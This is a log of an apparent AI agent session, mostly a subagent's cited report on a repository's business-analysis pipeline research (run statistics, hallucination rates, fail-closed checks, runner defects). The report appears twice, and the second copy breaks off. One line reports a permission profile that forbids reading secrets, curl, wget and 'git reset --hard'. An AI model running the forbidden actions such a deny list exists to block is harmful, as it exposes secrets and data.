includeSubDomains; preload\",\n[2026-09-29T07:50:13.470Z] [STDOUT]     traceresponse: \"00-5017aa5676aac951cd3469229495d6d5-f10bc864a2eaf03a-01\",\n[2026-09-29T07:50:13.475Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:13.478Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:13.486Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:13.490Z] [STDOUT]   },\n[2026-09-29T07:50:13.503Z] [STDOUT]   durationMs: 746,\n[2026-09-29T07:50:13.515Z] [STDOUT] }\n[2026-09-29T07:50:13.523Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:13.530Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:13 GMT\",\n[2026-09-29T07:50:13.543Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:13.548Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:13.569Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:13.580Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:13.587Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:13.601Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:13.605Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:13.608Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:13.622Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:13.632Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:13.643Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:13.647Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:13.664Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:13.672Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:13.678Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:13.683Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:13.707Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:13.734Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:13.741Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:13.754Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.759Z] [STDOUT]   \"request-id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:13.763Z] [STDOUT]   \"traceresponse\": \"00-5017aa5676aac951cd3469229495d6d5-f10bc864a2eaf03a-01\",\n[2026-09-29T07:50:13.767Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:13.769Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:13.772Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:13.774Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:13.782Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:13.785Z] [STDOUT]   \"cf-ray\": \"a42965484af729ad-FRA\",\n[2026-09-29T07:50:13.790Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:13.797Z] [STDOUT] [log_e3c17d] response parsed {\n[2026-09-29T07:50:13.803Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:13.805Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:13.810Z] [STDOUT]   body: X {\n[2026-09-29T07:50:13.819Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:13.824Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:13.831Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:13.835Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:13.837Z] [STDOUT]     },\n[2026-09-29T07:50:13.841Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:13.847Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:13.851Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:13.855Z] [STDOUT]   },\n[2026-09-29T07:50:13.857Z] [STDOUT]   durationMs: 747,\n[2026-09-29T07:50:13.865Z] [STDOUT] }\n[2026-09-29T07:50:13.870Z] [INFO] {\n[2026-09-29T07:50:13.870Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:13.870Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:13.870Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"uuid\": \"b29fc18a-8f34-4e2c-ab0a-9fbe7617fcd9\"\n[2026-09-29T07:50:13.870Z] [INFO] }\n[2026-09-29T07:50:14.083Z] [INFO] {\n[2026-09-29T07:50:14.083Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"message\": {\n[2026-09-29T07:50:14.083Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"id\": \"msg_011CfXN4yBQvgTd7YYfxov7f\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"content\": [\n[2026-09-29T07:50:14.083Z] [INFO]       {\n[2026-09-29T07:50:14.083Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:50:14.083Z] [INFO]         \"text\": \"The full report is in `/tmp/research-notes/ba-requirements.md` (about 3,300 words, every fact cited by repo path). No repository files were changed.\\n\\nTwo things up front:\\n- **The hypothesis in item 2 is not stated anywhere as one sentence.** The argument is spread across several files; the chain of evidence is below.\\n- **Branch issue-639 adds nothing to `research/ba-requirements`.** It is already merged into main, and its work lives in `projects/ba-ai-process/` (item 5). So main URLs work for everything; branch URLs point to the same files.\\n\\nURL base: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`. All paths below are relative to it.\\n\\n## 1. Mango run snapshots (numbers and paths)\\n\\n**`research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md`** (56 runs, 2026-04-10 to 2026-08-25)\\n- By status: draft 29, works-with-edits 19, partial-success 5, success 1.\\n- Totals: 1,080 episodes, 2,084 turns, 61,360,738 dialog tokens (median 720,806 per run).\\n- Hallucinations: 41 recorded across 11 runs; 12 reached the delivered output. Nine runs shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts: \\\"covered\\\" appears in 41/56 runs, \\\"discoverab\\\" in 0/56.\\n- The file's own caveats: hallucinations are logged under 3 different keys, success_rate can't be compared across runs, and metrics are filled in only 10 to 41 of 56 runs.\\n\\n**`research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md`** (57 runs)\\n- Required run folders exist in 100% of runs, but that is the contract in form only.\\n- Modeling markers appear in 2/57 runs, so there is effectively no core model (C-CORE).\\n- 23/57 runs (40.4%) produce more than one document.\\n- Reliability of measurement is declared in 5/57 (8.8%).\\n- 71 distinct metric keys, none used by every run; 24 keys appear in exactly one run.\\n- No run delivered a contract-grade TZ.\\n\\n**`research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md`**\\n- A linear pipeline reaches its end document in 0 of 32 runs that produced a document; a layered pipeline reaches it in 32 of 32. The owner's threshold was 80%.\\n\\n**`research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md`** (67 runs)\\n- The 17 requirement documents have 17 different skeletons.\\n- Even one task (BCREQ-1074, 3 runs) produced 3 skeletons, with mean overlap (Jaccard) 0.69.\\n- There are no clean samples, so the reference Golden Set has to be synthetic.\\n\\n**`research/ba-requirements/2026-09-08-meta-model-inputs-facts.md`**\\n- 24 active prompts cover 13 capabilities.\\n- Variants of the same capability barely overlap: mean Jaccard 0.077, and 8 of 13 pairs have zero overlap.\\n- 50/67 runs reference no prompt, and 11/24 prompts are never used.\\n- 66/67 runs fall outside the process dictionary.\\n\\n**`research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md`**\\n- 10 of 12 meta-model constructs appear in none of the prompts; prompts average 1.04 constructs each.\\n- The file concludes the old corpus cannot be the basis for new contracts (this feeds ADR-014).\\n\\n**Other supporting files**\\n- `2026-09-08-kb-slot-fit-facts.md`: 860 knowledge-base sections; 0 needed a slot outside the 14-slot dictionary.\\n- `2026-09-07-ecosystem-knowledge-inventory.md`: 368 artifacts, of which only 13% are canonical and accepted.\\n- `methodology-unification/00-introduction.md`: the baseline is 2 of 32 runs with a verdict (6%) accepted without edits.\\n\\n## 2. Hypothesis and proposed fix (strict prompt + machine-readable contract + fail-closed check)\\n\\nThe evidence chain, strongest first:\\n\\n- **Theory: `research/ba-requirements/methodology-unification/10-theory.md` (sections 1 and 5)**\\n  - When the model resolves norms itself, the result varies: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs give two different sets of norms).\\n  - Rule T-1: the model's self-check cannot catch a defect that comes from its own false belief, so factual properties need a deterministic machine check (G-mach).\\n  - Rule T-2: irreversible decisions need a human gate.\\n- **Cases: `research/ba-requirements/methodology-unification/40-practice-and-cases.md`**\\n  - C-1 (RUN-0018): a strict step-by-step prompt with 8 self-check steps still logged 8 hallucinations, 1 shipped. The run's own note: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt was followed; the facts were not made reliable).\\n  - C-2 (RUN-0063 \u2192 0064 \u2192 0067): 5 requirements described features that already existed. The defect was found two runs late, and RUN-0063 was invalidated. The proposed fix is a skill with a machine check that fails closed: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty source of truth is a refusal, not a warning). The pilot is B-131 in `50-open-research.md`.\\n- **Pipeline stages**\\n  - `normalization/00-introduction.md`: the human gate is unreliable (9/56 runs shipped hallucinations), so claims must be checkable by machine.\\n  - `artifact-rendering/00-introduction.md`: the rendering stage may not create new meaning.\\n- **Environment: `2026-09-10-gigacode-environment-facts.md`**\\n  - GC-19: the agent works where the result can be checked by machine.\\n  - GC-20: it invents whatever it doesn't know.\\n- **Why prompts alone are not enough:** legacy prompts contain almost no checkable constructs, and prompt variants overlap at Jaccard 0.077 (item 1).\\n- **A new twist from #639:** a fail-closed check must look at each step, not the whole package. In probe P10 the text \\\"lorem ipsum\\\" passed as the output of steps n1\u2013n3 (\u0413-29). The determinism metric stayed at 1.0 even with junk output (\u0413-30). The fix is backlog item B-212.\\n\\n## 3. Key conclusions per subdirectory (from each `00-introduction.md`)\\n\\n- **normalization**\\n  - Coverage assessment is the main loss (41 vs 0 keyword hits), so it should be its own operation with a gate.\\n  - 9/56 runs shipped hallucinations, so grounding must be machine-checkable.\\n  - Recommends a hybrid: a universal taxonomy plus a Mango taxonomy, linked by a correlation matrix.\\n- **methodology-unification**\\n  - There is no single BA methodology.\\n  - Norms are layered: industry \u2192 IT-telecom \u2192 Mango additions. At run time the agent gets one compiled SKILL.md and never works out the layers itself.\\n  - Only 6% of runs with a verdict were accepted without edits.\\n- **orchestration**\\n  - The route is fixed before generation, on 6 axes, at an entry gate. The resulting route sheet is a commitment.\\n  - Route rules are checked by machine, and stopping mid-route is normal.\\n  - Its verdict was \\\"a YAML file, no engine needed\\\". #639 later challenged this because nothing executes the route.\\n- **solution-modeling**\\n  - The core model is an object, not a stage, and in practice it is missing (2/57 runs).\\n  - Readability for every audience comes first; there are 12 model classes. Mango covers 6/12 classes and 4/9 invariants.\\n  - Tools to build or buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n- **artifact-micro-structure**\\n  - 17 documents have 17 skeletons, so headings must be separated from meaning.\\n  - UI and acceptance criteria are folded into functional requirements.\\n  - One artifact is shown in 3 views (business, approval, developer). The synthetic Golden Set is mandatory and part of the machine check.\\n- **artifact-rendering**\\n  - Rendering is assembly, not writing; no new meaning may appear at this stage.\\n  - Three render modes (deterministic, generative, hybrid), which differ in what can be proven.\\n  - A fully deterministic render may be impossible for a TZ.\\n- **feedback-and-evolution**\\n  - Without feedback the pipeline cannot learn: 100% of runs deliver documents, but only 8.8% say how they were measured. There are 71 metric keys.\\n  - The first task is a closure-record schema.\\n  - Keep execution, decision and process quality separate.\\n\\n## 4. GigaCode, skill granularity, taxonomy defects\\n\\n**GigaCode (`research/ba-requirements/2026-09-10-gigacode-environment-facts.md`, facts GC-1 to GC-28)**\\n- All 11 vendor documentation pages were reachable (HTTP 200).\\n- Skills live in `.agents/skills//SKILL.md`; only name and description are required, and they load in stages.\\n- Agents are defined in `.opencode/agent/*.md`, with modes and permissions.\\n- The profile forbids reading secrets, editing `.git`, curl, wget and `git reset --hard`. There are 42 MCP tools.\\n- Vendor stance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n- Scope rule: a short rule belongs in AGENTS.md; anything needing its own permissions or isolated context should be an agent.\\n- The owner's \\\"1M-token hard limit\\\" is not in the documentation (verification is B-162). How a human gate would work is also undocumented.\\n\\n**Skill granularity (`research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`)**\\n- GigaCode sets no limit on how big a skill can be.\\n- Control returns to the analyst in 10/10 step-by-step prompts and 0/14 others, a perfect split.\\n- All 9/9 one-shot prompts contain an internal algorithm, so \\\"one-shot = atomic\\\" is refuted.\\n- None of 33 skills is a single operation; each uses 2\u20137.\\n- 21 of 31 operations are reused by 3 or more skills. check-schema leads with 11.\\n\\n**Taxonomy defects (`research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md`, D1\u2013D8)**\\n- D1: FR and TZ are merged in 29 places, though the ontology has two separate types (A18, and A19 per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary, although it is a lifecycle state.\\n- D3: 7 of 13 operations have more than one output class.\\n- D4: 8 of 13 operation definitions list mixed results.\\n- D5: Mango has 6 subprocesses; the hub has none.\\n- D6: the System, User and Subprocess entities are missing.\\n- D7: 66/67 runs fall outside the dictionary.\\n- **Discrepancy:** `research/ba-requirements/README.md` describes D3 and D4 differently from the facts file. Cite the facts file, not the README.\\n\\n## 5. Branch issue-639 vs main\\n\\n- Branch `issue-639-405767e7672e` (tip 836faaf) was merged via PR #643 (d718616) and has no commits beyond main. `research/ba-requirements` is identical on both.\\n- **Files the branch added (now on main):**\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md` (508 lines)\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md` (hypotheses \u0413-01 to \u0413-25)\\n  - `projects/ba-ai-process/experiments/issue_639_runner_probes.py` and `.log` (probes P10\u2013P12)\\n  - `projects/ba-ai-process/experiments/issue_639_gap_probes.sh` and `.log`\\n  - `ops/backlog.md`: B-203 to B-210 and B-211 to B-218\\n- **Main verdict:** the direction (source \u2192 distribution \u2192 runtime \u2192 feedback, per ADR-017) is right, but nothing executes the route: the meta-model's 11 entities include no executor (\u0413-26). That executor doesn't need to be bought; it can be built out of the existing GigaCode runner.\\n- **What the probes found in the current runner:**\\n  - It ignores all 17 route conditions in the YAML and re-codes the branches in Python for 8 nodes (\u0413-28).\\n  - It accepts junk output (\u0413-29/30).\\n  - A halt cannot be resumed (\u0413-31).\\n  - One mistyped transition blocks the task permanently (\u0413-32).\\n  - It allows 0 corrective attempts where the spec allows 1 (\u0413-33).\\n- **Clients can't guarantee step order either:** chat clients, MCP and hooks all leave the order to the model (\u0413-37 to \u0413-39). Clients are also unstable, e.g. Roo Code was archived and Cline v4 renamed its tools (\u0413-41).\\n- **Recommendations:**\\n  - First, the runner leads the route on the analyst's workstation (option \u0412-1).\\n  - Then the same runner on a server with FastAPI, a state machine and Postgres, optionally LangGraph (\u0412-3/\u0412-4).\\n  - n8n only as an outer shell, never the core. It has a critical vulnerability (CVE-2026-21858, CVSS 10.0), the graph would have to be redrawn in it, its AI Agent node is non-deterministic, and the Business tier costs \u20ac667/month.\\n  - Rejected as the core: Dify, Flowise, Windmill, Kestra, Prefect, Camunda, Operaton, Temporal.\\n- **Readiness:** the runner is ready for debugging transitions but not for pilot measurements until fixes B-211 to B-213 land. All of B-211 to B-218 are TODO, with priority left for a human to set.\\n\\nA separate helper I started earlier to analyse the mango_ba_prompts history was still running when I finished. Its results are not included here.\"\n[2026-09-29T07:50:14.083Z] [INFO]       }\n[2026-09-29T07:50:14.083Z] [INFO]     ],\n[2026-09-29T07:50:14.083Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:14.083Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_creation_input_tokens\": 10647,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_read_input_tokens\": 24058,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:14.083Z] [INFO]         \"ephemeral_5m_input_tokens\": 10647,\n[2026-09-29T07:50:14.083Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:50:14.083Z] [INFO]       },\n[2026-09-29T07:50:14.083Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:14.083Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:14.083Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:14.083Z] [INFO]     },\n[2026-09-29T07:50:14.083Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:14.083Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:14.083Z] [INFO]   },\n[2026-09-29T07:50:14.083Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"uuid\": \"8ce63a8c-3dce-4922-ac65-cf215e1f2a87\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:14.057Z\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"request_id\": \"req_011CfXN4xeACLAQoRSfvZPjt\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:50:14.083Z] [INFO] }\n[2026-09-29T07:50:14.113Z] [INFO] {\n[2026-09-29T07:50:14.113Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"tasks\": [],\n[2026-09-29T07:50:14.113Z] [INFO]   \"uuid\": \"27032a80-5ee1-40da-b81e-1f3deb91fcc9\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:14.113Z] [INFO] }\n[2026-09-29T07:50:14.117Z] [INFO] {\n[2026-09-29T07:50:14.117Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"patch\": {\n[2026-09-29T07:50:14.117Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T07:50:14.117Z] [INFO]     \"end_time\": 1790668214099\n[2026-09-29T07:50:14.117Z] [INFO]   },\n[2026-09-29T07:50:14.117Z] [INFO]   \"uuid\": \"1a44d930-c1fc-4fe0-83b7-8ba51e6e85a0\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:14.117Z] [INFO] }\n[2026-09-29T07:50:14.145Z] [INFO] {\n[2026-09-29T07:50:14.145Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/a8223c4e8f50f54ab.output\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"summary\": \"The full report is in `/tmp/research-notes/ba-requirements.md` (about 3,300 words, every fact cited by repo path). No repository files were changed.\\n\\nTwo things up front:\\n- **The hypothesis in item 2 is not stated anywhere as one sentence.** The argument is spread across several files; the chain of evidence is below.\\n- **Branch issue-639 adds nothing to `research/ba-requirements`.** It is already merged into main, and its work lives in `projects/ba-ai-process/` (item 5). So main URLs work for everything; branch URLs point to the same files.\\n\\nURL base: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`. All paths below are relative to it.\\n\\n## 1. Mango run snapshots (numbers and paths)\\n\\n**`research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md`** (56 runs, 2026-04-10 to 2026-08-25)\\n- By status: draft 29, works-with-edits 19, partial-success 5, success 1.\\n- Totals: 1,080 episodes, 2,084 turns, 61,360,738 dialog tokens (median 720,806 per run).\\n- Hallucinations: 41 recorded across 11 runs; 12 reached the delivered output. Nine runs shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts: \\\"covered\\\" appears in 41/56 runs, \\\"discoverab\\\" in 0/56.\\n- The file's own caveats: hallucinations are logged under 3 different keys, success_rate can't be compared across runs, and metrics are filled in only 10 to 41 of 56 runs.\\n\\n**`research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md`** (57 runs)\\n- Required run folders exist in 100% of runs, but that is the contract in form only.\\n- Modeling markers appear in 2/57 runs, so there is effectively no core model (C-CORE).\\n- 23/57 runs (40.4%) produce more than one document.\\n- Reliability of measurement is declared in 5/57 (8.8%).\\n- 71 distinct metric keys, none used by every run; 24 keys appear in exactly one run.\\n- No run delivered a contract-grade TZ.\\n\\n**`research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md`**\\n- A linear pipeline reaches its end document in 0 of 32 runs that produced a document; a layered pipeline reaches it in 32 of 32. The owner's threshold was 80%.\\n\\n**`research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md`** (67 runs)\\n- The 17 requirement documents have 17 different skeletons.\\n- Even one task (BCREQ-1074, 3 runs) produced 3 skeletons, with mean overlap (Jaccard) 0.69.\\n- There are no clean samples, so the reference Golden Set has to be synthetic.\\n\\n**`research/ba-requirements/2026-09-08-meta-model-inputs-facts.md`**\\n- 24 active prompts cover 13 capabilities.\\n- Variants of the same capability barely overlap: mean Jaccard 0.077, and 8 of 13 pairs have zero overlap.\\n- 50/67 runs reference no prompt, and 11/24 prompts are never used.\\n- 66/67 runs fall outside the process dictionary.\\n\\n**`research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md`**\\n- 10 of 12 meta-model constructs appear in none of the prompts; prompts average 1.04 constructs each.\\n- The file concludes the old corpus cannot be the basis for new contracts (this feeds ADR-014).\\n\\n**Other supporting files**\\n- `2026-09-08-kb-slot-fit-facts.md`: 860 knowledge-base sections; 0 needed a slot outside the 14-slot dictionary.\\n- `2026-09-07-ecosystem-knowledge-inventory.md`: 368 artifacts, of which only 13% are canonical and accepted.\\n- `methodology-unification/00-introduction.md`: the baseline is 2 of 32 runs with a verdict (6%) accepted without edits.\\n\\n## 2. Hypothesis and proposed fix (strict prompt + machine-readable contract + fail-closed check)\\n\\nThe evidence chain, strongest first:\\n\\n- **Theory: `research/ba-requirements/methodology-unification/10-theory.md` (sections 1 and 5)**\\n  - When the model resolves norms itself, the result varies: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs give two different sets of norms).\\n  - Rule T-1: the model's self-check cannot catch a defect that comes from its own false belief, so factual properties need a deterministic machine check (G-mach).\\n  - Rule T-2: irreversible decisions need a human gate.\\n- **Cases: `research/ba-requirements/methodology-unification/40-practice-and-cases.md`**\\n  - C-1 (RUN-0018): a strict step-by-step prompt with 8 self-check steps still logged 8 hallucinations, 1 shipped. The run's own note: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt was followed; the facts were not made reliable).\\n  - C-2 (RUN-0063 \u2192 0064 \u2192 0067): 5 requirements described features that already existed. The defect was found two runs late, and RUN-0063 was invalidated. The proposed fix is a skill with a machine check that fails closed: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty source of truth is a refusal, not a warning). The pilot is B-131 in `50-open-research.md`.\\n- **Pipeline stages**\\n  - `normalization/00-introduction.md`: the human gate is unreliable (9/56 runs shipped hallucinations), so claims must be checkable by machine.\\n  - `artifact-rendering/00-introduction.md`: the rendering stage may not create new meaning.\\n- **Environment: `2026-09-10-gigacode-environment-facts.md`**\\n  - GC-19: the agent works where the result can be checked by machine.\\n  - GC-20: it invents whatever it doesn't know.\\n- **Why prompts alone are not enough:** legacy prompts contain almost no checkable constructs, and prompt variants overlap at Jaccard 0.077 (item 1).\\n- **A new twist from #639:** a fail-closed check must look at each step, not the whole package. In probe P10 the text \\\"lorem ipsum\\\" passed as the output of steps n1\u2013n3 (\u0413-29). The determinism metric stayed at 1.0 even with junk output (\u0413-30). The fix is backlog item B-212.\\n\\n## 3. Key conclusions per subdirectory (from each `00-introduction.md`)\\n\\n- **normalization**\\n  - Coverage assessment is the main loss (41 vs 0 keyword hits), so it should be its own operation with a gate.\\n  - 9/56 runs shipped hallucinations, so grounding must be machine-checkable.\\n  - Recommends a hybrid: a universal taxonomy plus a Mango taxonomy, linked by a correlation matrix.\\n- **methodology-unification**\\n  - There is no single BA methodology.\\n  - Norms are layered: industry \u2192 IT-telecom \u2192 Mango additions. At run time the agent gets one compiled SKILL.md and never works out the layers itself.\\n  - Only 6% of runs with a verdict were accepted without edits.\\n- **orchestration**\\n  - The route is fixed before generation, on 6 axes, at an entry gate. The resulting route sheet 